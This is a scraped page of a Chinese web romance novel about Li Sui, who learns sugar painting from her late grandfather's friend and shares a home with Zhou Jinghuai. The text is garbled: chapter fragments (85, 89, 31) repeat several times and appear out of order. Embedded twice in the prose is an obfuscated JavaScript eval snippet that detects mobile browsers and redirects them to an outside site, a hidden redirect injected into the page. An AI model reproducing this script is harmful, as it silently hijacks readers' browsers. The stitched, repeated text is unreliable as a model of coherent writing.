黎穗惊讶地回到摊位前:“什么东西啊?” “是一些书。”奶奶指了指对面的小区,“我家就在那儿,我回去拿。” 书? 黎穗倒是记得,爷爷闲暇的时候喜欢看书,但爷爷去世前后兵荒马乱,她完全没注意,那些被爷爷视若珍宝的书去哪儿了。 看着对面的小区大门,黎穗这才想起来,眼前这位慈祥的奶奶,应该就是爷爷生前偶尔会提起的、住在市集对面的许梅。 想着书应该不少,黎穗主动道:“奶奶,我和您一起吧,您一个人不好拿。” “也好。”许梅没有拒绝,推着小三轮带着黎穗穿过马路。 越过篮球场,走进楼道电梯。 黎穗伸手想按楼层,便问了一句:“奶奶,您家住几楼啊?” “哎哟,有点忘了。”许梅眉头皱起,似乎在回想。 黎穗还以为是老人家年纪大了,记性不好,安慰道:“不急,您慢慢想。” “我好像是放在五楼那套,还是六楼来着?哦不,好像是八楼。”许梅笃定地点头,“对,就是八楼。” “……”黎穗震撼得忘了按楼层,“奶奶,您家,几套房啊?” “就三套。”许梅笑笑。 就……三套。 如果能在寸土寸金的区域拥有三套房,黎穗都不敢想象,自己会有多么开朗。 她又一次感受到了什么叫贫富差距。 昨晚许梅说自己不差钱的时候,黎穗还以为只是逞强,主要是她每天早出晚归地摆摊,实在让人误解。 黎穗按下八楼,好奇地问:“您都不缺钱,为什么还出去摆摊啊?” “人老了啊,就怕没事干。”许梅从口袋里掏出一串钥匙,一边低头找八楼的,一边说,“我儿子也说我是没事找事,但我就觉得摆摊的时候开心,比闲在家里开心多了。” “您是从小学的糖画吗?” “哪能啊,退休后才开始学,也就……十多年吧。” 许梅推门进屋,客厅里宽敞明亮,收拾得干干净净。 帮她倒了杯水,许梅说:“你坐一会儿啊,在房间里,我去拿。” 黎穗本想帮忙,但想着贸然进卧室,也不礼貌,便作罢了。 “哎哟!你怎么在家啊?” 卧室里突然传来许梅惊喜的声音,黎穗疑惑地探头看了眼,但完全看不到房间里,只听到许梅催促:“正好,帮我把这个箱子搬出去。” 一道低沉的男声带着困意问:“这什么啊?” “让你搬你就搬,快点。” “知道啦——” 伴随着拖长的语调,嘻嘻索索的声音响起,黎穗有些尴尬地攥了攥手里的杯子,下一秒就看到一个挺拔的身影抱着纸箱走了出来。 对方看起来一米八出头,健康的小麦肤色,头发偏短,穿着一件宽松的黑色t恤和阔腿短裤,看到黎穗,对方明显愣住,问了句:“你谁啊?” “有没有礼貌。”许梅一巴掌拍在他后背,“这是黎爷爷的孙女,穗穗,你该喊姐姐。” 许梅转头又向黎穗介绍:“这是我孙子,江灼,现在在理工大学上大三。” “你好。”黎穗微笑着点头,算是打了招呼,起身想要接过他手里的纸箱。 “挺重。”许梅拍拍江灼的手臂,让他把纸箱放在茶几上,还不忘夸赞,“穗穗现在接手了他爷爷的小店,你看看人家,多孝顺。” 江灼盯着她看了一会儿,突然问:“旗袍店旁边那家?” “啊。”黎穗不知道他为什么突然这么问,点头应道,“对。” 江灼也点了点头,没说什么,转身回了房间。 “哎你这孩子,没礼貌。”许梅看着他的背影低声斥责。 黎穗倒是没在意,她打开箱子,拿出了最顶上的一本《糖味溯源》,好几页页角几乎被磨烂,足可见这些书,爷爷翻过多少遍。 遇到一些不认识的字,他还认认真真地在旁边写了拼音和备注。 看到熟悉的字迹,黎穗鼻子一酸,但还是忍住了。 “奶奶,我爷爷这些书,怎么会放在您这儿啊?” “你爷爷当初跟我说,他……”许梅叹了口气,才接着说,“他走了之后,要是这糖画店关了,这些东西就放我这儿,随我处理,要是店开了超过三个月,就让我把东西给你,也不知道这老头子怎么想的。” 许梅不懂,黎穗却一下就明白了。 爷爷或许是觉得,如果他去世后,店关了,那说明她对糖画确实没兴趣,那么他选择把这些书留给同样热爱的朋友,一是为了书有归宿,二也是为了不给她平添压力。 但如果店还开着,这些书,或许就是爷爷留给她的最后一份礼物。 在生前,对于这些事,爷爷没有提起一丝一毫,他把做选择的机会完全留给了她自己。 像是一块巨大的石头被扔进了湖里,嘭一声,砸起阵阵涟漪,余韵许久没有消除。 黎穗好像能听到自己猛烈的心跳声,扑通扑通。 她深吸一口气,和奶奶道了谢,费力搬起眼前的纸箱子。 “太重了吧?”许梅伸手欲接,“要不让小灼帮你搬回家。” “不用不用,我可以的。”黎穗捧着箱子,艰难出了门。 许梅便也没有再坚持。 门轻轻合上。 许梅走进厨房,打开冰箱,正盘算着晚饭做什么,门铃却又响了。 她随手放下围裙,走过去开了门。 门外,黎穗捧着大箱子气喘吁吁,嘴角却高高扬起,站在昏暗的走廊里,眼神格外明亮。 “许奶奶。” “我能跟您学画糖画吗?” 13、第 13 章 糖画小店的门口挂上了“老板被外星人抓走,暂时歇业”的木牌。 黎穗每天就搬个凳子坐在许梅旁边,跟着她学糖画。 糖画没有图谱,所有的图样都存在在手艺人的脑子里,日子一天天过去,黎穗脑海中的图样越来越丰富,画的过程中,抖、提、顿、放的节奏也越来越熟练。 黎穗也是此刻才发现,她在画糖画这件事上,居然颇有天赋,基本上看许梅画一遍,她就能记住步骤,而且不会再忘记。 她不禁有些恍然大悟,为什么小时候爷爷会逼着她学,或许就是因为,爷爷看出了她的天赋,不忍她浪费。 再加上本身的基础,糖画这件事,黎穗学得比普通人更为顺利。 不过才半个多月,许梅就说,如果只是想做一个糖画摊主,那她已经可以重新开张了。 可黎穗反而觉得,她不仅仅想局限于此。 她现在所学的东西,都来自于许梅,几乎没有个人特色,即便小店重新开张,也只会分流许梅的顾客。 越是深入去学,越是兴趣来了,黎穗就越是,想画一些,不一样的东西。 可是,什么才算不一样的东西呢? 黎穗趴在沙发上,一边思索,一边无聊地刷着短视频,刚滑几下,一张熟悉的脸孔突然映入眼帘。 大数据实在太可怕了。 都开始给她推送周景淮的演讲了。 吐槽归吐槽,黎穗还是带着好奇心看了一会儿,视频只截取了他大学时期一场演讲的开头。 “我们最近在开发的游戏名为宝物记,是一款以文物为原型的模拟经营对战手游……” 视频里的周景淮,穿着白色衬衫和黑色西装裤,浑身上下带着一股少年意气,饶是黎穗也不得不承认,如果当年在大学校园里看到这样的男生,会忍不住多看几眼。 人在谈论喜欢并擅长的东西的时候,那种意气风发,是由内而外散发出来的,根本无需刻意塑造。 黎穗不知不觉又看了一遍。 都说如果重复播放一个视频,大数据会默认你对此感兴趣,之后就会给你推送大量相关内容。 黎穗很快意识到了这一点—— 之后她刷到的十个视频里,起码有一个是关于周景淮,或者关于骤雨科技的。 【占据国内青年富豪榜榜首的他,究竟有何实力?】 【新游戏1周狂赚1个亿,周景淮的事业运,我接我接我接!】 【周景淮,一款别人家的总裁!】 【到底谁这么有品在玩宝物记!原来是我自己哈哈哈哈哈】 “……” 黎穗默默退出了app,但是刚才的那些声音,却跟余音绕梁似的,不断在黎穗脑子里回响。 也就是在那一瞬间,黎穗脑海中蹦出了一个词: 文物。 这倒是……一个感觉还没什么糖画手艺人涉足的领域。 爷爷什么书籍都爱看,其中也就包括历史文物类,黎穗小时候没什么娱乐方式,就跟着看了不少,渐渐培养起了兴趣。 但她一直觉得,也就是感兴趣罢了,没到称得上喜欢的程度,所以报考大学的时候,现实就业问题成了她更重要的考量。 她几乎立刻从沙发上爬了起来,跑到书房想找许久前买的那本展览图录。 但怎么也想不起来自己丢哪儿了。 “周……”她本能出声求助,才想起周景淮还没回来。 难不成加班?他要是彻夜不归,那她今晚岂不是自由了? 喜悦一瞬间涌上心头,却也在一瞬间,如潮水般褪去。 黎穗感觉自己就像是被定点投喂的猫,养成习惯了之后,突然对方不见了,难免不多想。 她回到餐桌边,抬头看了眼时间,已经九点多了,他从来没这么晚还不着家过,外面天气也不太好,阴沉沉的,狂风大作,难不成路上遇到什么事了? 她拿过桌上的手机,正想给周景淮发消息,对方的消息却先来了。 周景淮:【有空陪我去一趟医院吗?】 黎穗蹭一下从椅子上跳了起来,脑子里闪过无数可能。 真出事了? 不会撞车了吧? 还是被车撞了? 她一边换鞋,一边回消息:【你在哪儿啊?】 周景淮:【楼下草丛。】 黎穗:? 黎穗一头雾水地下了楼,很快在门口的草丛边看到了蹲着的身影。 西装外套被脱下,挂在手臂上,里面的黑色衬衫,袖口被卷到肘部,露出两截精瘦的手臂。 侧颜的轮廓,被昏黄的路灯光亮勾勒得越发清晰。 他眼眸低垂,神色严肃,不知道在看什么。 黎穗走近了,才发现躺在他面前的是一只灰不溜秋的小猫。 他回国那天,黎穗曾见他用狗尾巴草逗过它,后来当保安的时候,她也试图喂过它。 当时它虽然瘦弱,但还算灵活,可是现在,却无力地趴着,额头顶着不知从哪来的伤口,暗红色的血液已经结成一块。 “它怎么受伤了?”黎穗蹲在他身边,有些心疼地看着。 “被人砸了吧。”流浪猫大多对人有很强的防备心,但周景淮伸手碰了碰它,却没有被拒绝。 小小一只,被他掌心合拢轻易捧起。 俩人很快开车去了最近的宠物医院。 看着医生给小猫处理伤口,得到了“不严重”的保证,黎穗才放下心来。 她偷偷看了眼一旁正和医生沟通的周景淮,突然觉得,有一点点陌生。 高三那一年,黎穗一直都是住宿在学校,假期除了周芷玉邀请,也很少去周家。 虽然听从爷爷的话,认了周芷玉为干妈,但说到底,她骨子里有一股傲气,不愿意让别人觉得,她在攀附周家,所以潜意识里一直在尽可能地减少和周家的接触。 高考结束的那天,她抱着脏兮兮的大圣,却没有钱送它去宠物医院,她想起,周家的司机好像以前在农村当过一段时间的兽医。 所以时隔许久,她迫于无奈,再一次踏进了周家的大门。 但不巧的是,那段时间司机请假去了老家奔丧,客厅里只有刚回国过暑假的周景淮。 他站在落地窗边,用流利的英语和电话那头的人沟通,听到开门声,才转过身来。 见到是他,黎穗一瞬间有些慌张,她低头看了眼怀里的狗,连声解释:“我用校服包着,不怎么脏。” 周景淮对着电话那头的人应了一声,挂断后,走到她面前低头看了眼,淡淡问:“哪来的?” 黎穗说:“捡的,应该是被人打伤的流浪狗。” 周景淮拨开小家伙脑袋上脏兮兮的毛,但因为沾着血,伤口几乎看不清。 “银狐犬,你确定是流浪狗?”不知为何,黎穗听出了几分“你哪儿偷的狗”的意味。 她点头道:“确定。” “先送医院。” 黎穗欲言又止,最终坦诚道:“我没钱。” 眼见着周景淮拿起茶几上的车钥匙,黎穗张了张嘴,想拒绝,但低头看到大圣的情况,最终还是觉得救狗最重要。 于是她加快脚步,跟着他去了宠物医院。 那次的钱,1900.41元,是周景淮出的,回家的时候,她提出要一个他的支付宝账号,信誓旦旦一定会还给他。 不知道他有没有放在心上,但黎穗一直记得。 三天之后,她加了他的支付宝好友,然后给他转去了第一笔省吃俭用存下来的还款,50元。 后来的半年里,黎穗只要凑够200就会给他发,周景淮从来只收钱,没有回复过,直到最后一次,她一次性还了250.41元。 周景淮破天荒回了一句:【骂这么委婉。】 这才发现这个数字有歧义,黎穗也第一次回了文字:【不是骂人,就是正好是这个数。】 那可以说是俩人第一次在网上聊天,隔着半个地球。 不是微信,不是企鹅。 诡异的,用的支付宝。 在那段还钱的时间里,不知道是周景淮创业太忙了,还是本不在意。 反正,他从头到尾没有关心过大圣一句,所以黎穗一直觉得,他确实是那种没什么同情心的富家少爷。 但没想到,此刻他居然也会因为卑微的生命而奔波。 黎穗突然觉得,自己之前对周景淮的认知,好像太过浅显了些。 额头上突然被人轻轻弹了一下,黎穗回神,听到周景淮问:“想什么呢?” “没什么。”黎穗摇摇头,突然想起自己刚才沉浸在自己的思绪里,完全没听到医生说的。 似乎是察觉到她的迷茫,周景淮低头翻了翻手里的缴费单:“医生说需要留这儿观察三天,如果顺利,三天后就可以接回家。” “你要养它吗?”说完怕周景淮误会,黎穗又赶紧补充,“我没有不让养的意思,养的话,大圣还能多个玩伴,就是有些意外。” 周景淮觑她一眼:“意外什么?” “当初大圣也受伤了、也很惨啊,你为什么对它那么冷漠?”黎穗撇撇嘴,为大圣鸣不平,“难不成,你喜欢猫不喜欢狗?” 周景淮似回忆了一番当初的场面,凉凉抛出一句: “大圣,丑了点。” “……”虽然大圣当时被人把毛剪得乱七八糟的,身上又脏,确实不好看,但他未免也太颜控了吧? 黎穗想起一件事,顺势问:“那我呢?我那时候也很丑吗?你为什么对我也冷漠?” “那倒不是。”周景淮理所当然地说。 “那单纯是我没素质。” 黎穗:“……” 14、第 14 章 三天后,小猫被接了回来。 医院照顾得很好,小猫看起来也比当初精神了很多。 浑身干净的样子,才让黎穗看出来,这是一只绿眼睛的狸花猫。 一开始,小猫对她还有些防备,但在黎穗的猫粮诱惑下,它终究还是缴械投降。 叼着猫粮蹭地跳上沙发,小猫跟粘人精似的,又趴回了周景淮的腿上。 黎穗看看它,再看看蹲在一旁、满眼好奇的大圣,不由腹诽,大圣这狗,通体洁白,看起来还有点狐狸样,多好看啊。 哪里丑了? 没审美的周景淮。 “我听到了。” ? 黎穗脱口而出:“我又没骂出声。” 周景淮幽幽投来一个不咸不淡的眼神:“你的表情,骂挺响。” 黎穗:“……” 清了清嗓子,黎穗识相地转移话题:“对了,既然准备养,我们给它起个名字吧?” 周景淮闲靠在沙发,右手慢悠悠地抚摸着小猫的背:“你起吧。” “我?我取名废。” “那大圣是怎么取出来的?” “那是因为……”黎穗欲言又止,拿着薯片的右手,停顿了一下,又很快恢复自如,“你看过西游记吗?唐僧每次被抓,孙悟空都会突然出现救他,我觉得大圣对我来说就是这样的。” 周景淮说:“那就叫沙僧吧。” “太难听了吧。”黎穗不服气,“人家长得跟小公主一样,你管人家叫沙僧。” “那就叫公主。” “可以。”黎穗换了个姿势,趴在沙发上,脑袋靠近他大腿,右手食指点了点猫咪的脑袋,“公主,挺好听。” “小名沙僧。” “……”他到底为什么这么执着? “你有没有发现一个问题?”她仰起头,刚洗过澡,额头前的刘海还半湿着,连带着漆黑的瞳仁,看起来也湿漉漉的。 周景淮拿着遥控器,把电视调到了晚间新闻。 “什么?” “爷爷以前说我话多,跟唐僧似的,如果公主小名叫沙僧的话,咱家四个,大圣唐僧沙悟净都有了,那你岂不就是……” 黎穗憋着笑,嘴角却怎么也压不下去。 “是什么?”因为她这个仰头的姿势,周景淮很顺手地用右手捏住了她的下巴。 他的双眸微微眯了下,低头时,眼里带着笑。 四目相对。 黎穗的身子陡然僵硬,下巴处的热度,似乎在往脸上蔓延,周景淮也意识到了什么,收回手,食指和拇指不动声色地捻了捻。 黎穗用双手撑着沙发,飞快地往后退去,清了清嗓子,低声嘟囔:“白龙马,你是白龙马。” 客厅里突然陷入一阵莫名其妙的沉默,幸好电视机里还算热闹,黎穗暗暗呼了口气,拿过茶几上的手机,开始给猫猫狗狗拍合照。 一旁周景淮顺口道:“发我一张。” 黎穗大方地给他发去好几张,都是大圣和公主的合影,刚才略显尴尬的氛围,似乎也就此翻篇。 “你要来干嘛?”黎穗好奇地探过脑袋,发现他居然在发朋友圈。 黎穗的朋友圈里人实在太多了,一小时不刷就有无数条,所以她刷朋友圈的频率反而很低,也因此几乎没有看到过周景淮发的东西。 他此刻的举动,倒是让黎穗有些好奇了。 黎穗点开微信,发现他刚刚换了头像,就是她发给他的其中一张合照——公主雄赳赳气昂昂地站在大圣背上,而大圣微张着嘴巴,一脸乐意。 黎穗偷偷觑他一眼,点进他朋友圈,看到了他刚发的一条—— 文案是一猫一狗两个emoji表情。 配图是另一张合照,公主闭着眼睛侧躺着,脑袋靠在大圣的肚子上,大圣则微眯着眼睛,看起来惬意又嘚瑟。 黎穗在底下,看到了共同好友之一徐昭礼的回复。 【这狗长得真像你,人模人样的。】 黎穗没憋住,噗嗤笑出声来。 她将他的朋友圈往下滑,不由惊讶,原来他发的频率并不低,几乎每隔三四天就会发一条,但都是这两个月内的,不知道以前的是不是删了。 有时候是在球场和人打篮球,有时候是在游泳,更多的时候,发的是新学的菜色,每一样,都直戳她的味蕾。 真是……有活力的良家煮夫一枚。 黎穗百无聊赖地躺在沙发上,胡思乱想着,在大概半年前,她朋友圈的风格好像也是这样的。 不像现在,朋友圈都长草了。 不知道是不是受他感染,黎穗也点开了自己的朋友圈,但他刚发了合照,她肯定不能发一样的,不然俩人的关系一目了然。 她犹豫片刻,把另外一张她和公主大圣的合照加了漫画滤镜,这样就只能大致看到画面里是一人一猫一狗,但看不出具体样貌。 时隔半年,黎穗发了第一条朋友圈。 没有文案。 却好像是一个新的开始。 发完不久,就跳出了不少点赞和评论提醒。 一米外的周景淮给她点了个赞,连许久没有联系的小说网站编辑,也像是被她的动态提醒,在点赞后,给她发来了消息。 甜橙:【我的宝!你休息好几个月了,还不准备开新书吗?】 黎穗像是被人一拳打醒。 最近太沉迷于糖画,她几乎都快忘了,自己还有一份职业。 她赶紧回复:【在准备呢,快了快了。】 甜橙:【你这个回复,让我想起我昨天约我朋友,我朋友说在路上了快到了,结果我打她家里座机,她秒接。】 黎穗:“……” 黎穗:【好吧,确实还没有头绪t.t】 甜橙倒也没有过分催促,只说了几句鼓励的话,让她不要休息太久,随便写写也好,不然再提起笔,会越来越困难。 这一点,黎穗颇为赞同。 所以结束聊天后,黎穗就开始陷入了沉思。 要写什么题材呢? 如果是之前,黎穗一定会往赚钱的方向想,但现在,她却发现,她脑子里蹦出来的第一个想法是:我想写什么? 好像没有特别想写的,隔了许久,她才勉强想到一个——小镇悬疑故事。 黎穗犹豫着打开短视频网站,打算看几个案件解说寻找一下灵感,然而没想到,自动推荐的第一个视频就给了她暴击。 “骤雨科技周景淮……” 这该死的大数据! 即便她的手速已经够快,但前几个字还是从手机里传了出来。 黎穗偷偷觑他一眼,心里默念着:没听到没听到没听到…… 刷完了一个“杀过人的都知道”系列解说,周景淮都没有什么反应,黎穗暗暗松了口气,幸好他真没听到。 然而往下再刷一个,又是—— “神呐!周景淮这样的……” “……” 这回,周景淮像是受不了了,他撑着脑袋,看似烦恼地叹气:“你要不回房再看?” 黎穗破罐破摔:“干嘛?这客厅是你的啊?” “不允许人害羞?” 黎穗:“……” * 周景淮这嘴,总能理直气壮地说出一些听起来并不要脸的话。 偏偏黎穗还每次都拿他没辙。 不过在很早之前,忘了第几次哑口无言后,黎穗找到了一个发泄方式,那就是:把他写进存稿里,等正式更新的时候,再一键替换掉。 作为取名废,这同时也解决了她暂时的卡文难题。 深夜,她侧躺在舒适的大床上,打开许久没用的手机备忘录,再次熟练地打下了“周景淮”三个字。 【“周景淮!我要杀了你!!!”】 黎穗没有拟大纲的习惯,她满意地点了点头,继续往下写正文—— 【黑暗的小巷里,突然传来女人的尖叫,随之而来的,是男人阴森而狠戾的声音——】 但是,说什么呢? 黎穗想了许久没想出合适的回复,困意却汹涌袭来,她看了眼时间,居然已经快凌晨一点了。 明早还要去许奶奶家,黎穗按灭手机,想着反正不急,等什么时候有思路了再继续。 早上八点,黎穗准时被闹钟吵醒。 她迷迷糊糊捞过手机,半眯着眼睛打开微博,试图看些乱七八糟的新闻让自己更快清醒。 也的确清醒了。 在看到【苏吟心官宣恋情】热搜的那一刻。 黎穗揉揉眼睛,立刻从床上爬了起来。 #苏吟心官宣恋情#凌晨01:22分,苏吟心发博官宣和演员吴帆的恋情,俩人亲密相拥,一起对着镜头比心,官宣时间还卡的俩人在一起的纪念日,可谓羡煞旁人。 【1月22日就在一起了?那周景淮真是无妄之灾……】 【不会是上次的绯闻,让正牌男友吃醋了,所以才急匆匆官宣吧?】 【老婆能不能别恋爱脑了……搞事业不香吗?这男的一看就尖嘴猴腮。】 【我的评价:不如谈周景淮。】 【楼上也是搞笑,周景淮是想谈就能谈上的?我也想谈周景淮。】 …… 这些八卦,和黎穗关系不大,所以她也就是一目十行地看了一圈,没一会儿就退出了。 此刻盘旋在黎穗脑子里的想法只有:苏吟心都官宣恋情了,那她和周景淮的绯闻,应该也算彻底过去了吧? “周景淮!” 黎穗朝着门外大喊一声,得到了周景淮言简意赅的回应: “在。” 她立刻掀开被子下了床,拖鞋快节奏的声响透露着内心的兴奋。 这下! 终于! 可以离了! 第 85 章 “在洗澡,要看吗... 第85章“在洗澡,要看吗 庆功宴当天,寒潮来袭,辅川气温达到了新低。 酒店和机场是同一方向,黎穗图方便,自然就蹭了周景淮的车。 第85章“在洗澡,要看吗 庆功宴当天,寒潮来袭,辅川气温达到了新低。 酒店和机场是同一方向,黎穗图方便,自然就蹭了周景淮的车。 第85章“在洗澡,要看吗 庆功宴当天,寒潮来袭,辅川气温达到了新低。 酒店和机场是同一方向,黎穗图方便,自然就蹭了周景淮的车。 第85章“在洗澡,要看吗 庆功宴当天,寒潮来袭,辅川气温达到了新低。 酒店和机场是同一方向,黎穗图方便,自然就蹭了周景淮的车。 第85章“在洗澡,要看吗 庆功宴当天,寒潮来袭,辅川气温达到了新低。 酒店和机场是同一方向,黎穗图方便,自然就蹭了周景淮的车。 第85章“在洗澡,要看吗 庆功宴当天,寒潮来袭,辅川气温达到了新低。 酒店和机场是同一方向,黎穗图方便,自然就蹭了周景淮的车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丞丞差点溺水那天,周景淮身在国外,只通过电话得知了事情的大概。 他连忙处理好手头的事情,买了飞机票回国,也就是在回国的第二天,在餐桌上,他第一次见到了那位慈眉善目的老人,以及他的孙女。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721813|136994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第89章(二更) 丞丞差点溺水那天,周景淮身在国外,只通过电话得知了事情的大概。 他连忙处理好手头的事情,买了飞机票回国,也就是在回国的第二天,在餐桌上,他第一次见到了那位慈眉善目的老人,以及他的孙女。 第89章(二更) 丞丞差点溺水那天,周景淮身在国外,只通过电话得知了事情的大概。 他连忙处理好手头的事情,买了飞机票回国,也就是在回国的第二天,在餐桌上,他第一次见到了那位慈眉善目的老人,以及他的孙女。 第89章(二更) 丞丞差点溺水那天,周景淮身在国外,只通过电话得知了事情的大概。 他连忙处理好手头的事情,买了飞机票回国,也就是在回国的第二天,在餐桌上,他第一次见到了那位慈眉善目的老人,以及他的孙女。 30-40 第31章 测试版被黎穗发到群里的一瞬间,群里就热闹得炸开了锅。 【太厉害了穗穗!这以后方便太多了,再也不用四处捡垃圾了。】 【这是穗穗找人做的吗?贵不贵啊?我们群里可以众筹呀。】 【对呀,哪有让小姑娘一个人承担的道理。】 …… 黎穗赶紧回复:【拉了我老公帮忙,不用钱。】 这话发出去的下一秒,黎穗就愣住了。 她以前,很排斥向身边的人透露自己和周景淮结婚的事情,因为总觉得,知道他们结婚的人越多,以后离婚了,一个个解释起来就越麻烦。 但是这段时间来,从许奶奶、到江灼、赵亦旋,再到群里的所有人,她似乎越来越能坦然地说出“老公”这两个字。 至于离婚的事情,她更是许久没有想过了。 “想什么呢?”面前突然传来一道询问。 “离……”黎穗回过神,脱口而出的瞬间,几乎从沙发上蹿了起来。 对上周景淮微眯的双眸,她着急找补:“那个,离丞丞的生日只有几天了,我生日礼物还没挑好。” 不知道周景淮信没信,反正倒是没有深究:“吃完饭再挑。” “噢。”黎穗听话地拉开椅子坐下。 其实周景丞的生日礼物,她早就有了方向,但刚才着急找补的话,却给了她另外的提醒。 虽然周景淮没说什么,但到底帮了她这么大的忙,她总不能真的就这么坦然享受了。 要不然,也给他挑个礼物? 黎穗偷偷觑他一眼,脑海中闪过无数想法。 领带?他太多了,不缺。 钱包?现在谁还用钱包啊。 衣服?好像太普通了。 …… 黎穗咬着筷子,目光直勾勾盯着碗里一片翠绿的莴笋,突然想起那个被好几个人戴过的绿色头盔。 那一瞬间,她突然有了灵感。 第二天,周景淮收到了一份礼物—— 一个淡蓝色的头盔。 黎穗满意地拍拍:“想了想,绿色还是不太吉利,就给你买了个蓝的。” 周景淮低头打量:“就这?” “这不是普通的头盔!”黎穗把它转了个方向,指着头盔背面一行小小的刻字,“这是,周景淮专用头盔!” 【周景淮专属,闲人勿碰!】 周景淮的拇指指腹轻轻擦过,感受到了凹凸不平的质感,他垂眸看了许久,不知道在想什么,一直没有说话。 这让黎穗不由有些忐忑:“你不喜欢啊?虽然这礼物不贵,但是……” “喜欢。”周景淮打断了她的话。 “真的?”黎穗半信半疑。 下一秒,黎穗就看着他掏出手机,对着餐桌上的头盔拍了张照。 镜头聚焦在那行小字上,放大清晰可见。 他随手把这张照片发进了朋友圈,配文简单粗暴:【喜欢。】 “倒也不用……”黎穗尴尬地挠了挠脸。 这话是她故意找人刻的,被别人看到,多幼稚啊。 他朋友圈里看起来人不少,才不到一分钟,就有不少评论点赞提醒。 黎穗的余光看到他点开,立刻探出个脑袋围观。 第一条是—— 【周总这是爱上赛车了?哪里定制的头盔?帅!】 黎穗:? 你看看这像是赛车头盔吗? 你们阿谀奉承能不能遵守点基本法? * 周景丞的十二岁生日,对于黎穗来说,大概是这个如火七月最重要的日子。 正好周芷玉也在家,黎穗想着,估计会和前几年一样,喊他们一起回家吃顿饭,那时候,黎家也会给周景丞准备礼物,但都是爷爷准备。 这还是黎穗第一次,并且是以夫妻名义给弟弟送礼,她盘算了好一段日子,终于在生日当天早上拉着周景淮直奔商场。 她的目的地很明确,是位于商场顶楼的一家非遗工坊。 店里摆着各式各样的木雕作品,带着纯天然的木质香味。 老板看到她,一眼就认了出来:“黎小姐是吗?” “对。”黎穗点头微笑,“我上个月在您这儿预定的。” “已经准备好了。”老板捧着一个木盒走了过来,放在一旁的茶几上,“您看看。” 黎穗打开木盒,里面放着一个纯榫卯构造的南禅寺大殿模型。 “我之前跟您说过,我们这是纯实木构造的,六千多个零件,没有任何胶水、钉子,可以拆开反复拼搭。” 钱是之前就付过了的,黎穗确认没有问题,便直接让老板包装了。 周景淮单手提着盒子走出店门,黎穗跟在后头,低头看了眼,不确定地问:“你觉得丞丞会喜欢吗?” “别人好心送礼,他不喜欢,那是他不识好歹,他的问题。” 这话,有点耳熟。 黎穗噗嗤一声笑了:“之前你还说,送礼前不先了解对方喜好,是送礼人的问题。” 周景淮理直气壮:“你不是了解了么。” “也算是,我之前偶尔给他辅导作业,看到他房间里有一些相关的玩具和书,我就感觉他应该喜欢古建筑。”黎穗啧啧感叹,“你弟弟真的很厉害,小小年纪,就清楚地知道自己喜欢什么。” “那你猜猜我喜欢什么?” “你?”黎穗停下脚步,仰头盯着他看了好一会儿,脑子里回忆着他的日常习惯。 做饭、看剧、修、修电线…… 这些他都会,但是应该都称不上喜欢吧? 黎穗有些心虚:“我没注意。” 周景淮看起来心情不错,心平气和道:“以后多注意观察。” “哦。”买到了心仪的礼物,黎穗脚步轻快,朝电梯口走的时候,还不忘看看旁边店铺里的商品。 很快,她就被一家珠宝店玻璃墙后的手链吸引了视线。 银质链条上挂着黑色的四叶草。 简单的设计,却完美地戳中了黎穗的审美。 然而下一秒,她就瞥到了一旁的价格:50800。 ……好像也没有那么戳。 她立刻收回了目光,脚步丝毫没有停顿。 俩人驱车直达周家老宅。 今天的老宅似乎格外热闹,黎穗还没按下指纹开门,就听到里面传来了交谈声,似乎有人在喊“周恒”。 黎穗想,应该是周芷玉的弟弟周明宇一家来了。 她的右手食指停在指纹键上方,不自觉地抿了抿唇。 以前她和周景淮,最多属于小打小闹,但周恒和她,是正儿八经互相看不上的。 她高三毕业的那个暑假,周恒正好初中毕业,来周家住了一段时间。 那时候她虽然和爷爷住在以前的房子里,但偶尔也会来周家陪周芷玉聊天,帮周景丞辅导作业。 第一次和周恒撞上,是在一个烈日炎炎的午后。 她经过小花园的时候,被周恒喊住。 “你是穗穗姐姐吧?我是周恒,景淮哥的表弟。”他顶着一头黄毛,态度却挺有礼貌,“那个……能帮我找下手机吗?好像掉草丛里了。” 黎穗那时候对他一无所知,觉得对方是周家的亲戚,并且挺有礼貌的,就没有怀疑地问:“丢哪儿了?” 周恒指了指身边的月季花丛:“我也不确定,但应该就在这一块,我们分一下吧,我找左边,你找右边。” 他把区域划分得太过明显,这让黎穗留了个心眼。 她用手拨开月季花丛,不过一分钟,手机没看到,却看到一条大约半米长的蛇在脚边匍匐。 椭圆形的头,棕灰色的身子,颇为瘆人。 周恒大概不知道,黎穗从小的生活环境,让她对这些东西早已司空见惯,但她不确定这是不是周恒的目的,于是她故作惊恐地“啊”了一声,往后连退了好几步。 周恒果然以为自己计谋得逞,靠在树干上俯身大笑。 黎穗转过身,神色冷淡地问:“你为什么吓我?” “好玩咯。”周恒不屑地耸耸肩,转身就走的同时丢下一句,“乡巴佬。” 这种话,对于黎穗来说没有任何攻击力,但她并不是忍气吞声的人。 她感谢周家,不代表还要感谢周家的亲戚。 她重新回到草丛,几乎没有费什么力气,就揪住了蛇的七寸。 从储藏室里找了个透明塑料盒,黎穗把蛇装了进去,盖好盖子往楼上走。 但有一个问题是,她不知道周恒住在哪一间房间。 本来想去问保姆的,但她还没下楼,就巧合地看到周恒从不远处的一间卧室里走了出来,还顺手带上了门。 应该就是那间了。 黎穗趁着他从电梯下去的功夫,开门进了房间。 房间里拉着窗帘,黑漆漆的,想着周恒都走了,房间里应该没人,黎穗就顺手开了灯。 把藏着的透明盒挪到身前,黎穗站在床尾,右手刚摸到被子一角,还来不及掀开,床的那头却突然有了动作。 蛇没吓到她,这回是真吓一跳。 她本能地退后一步,和半眯着眼坐起身的周景淮面面相觑。 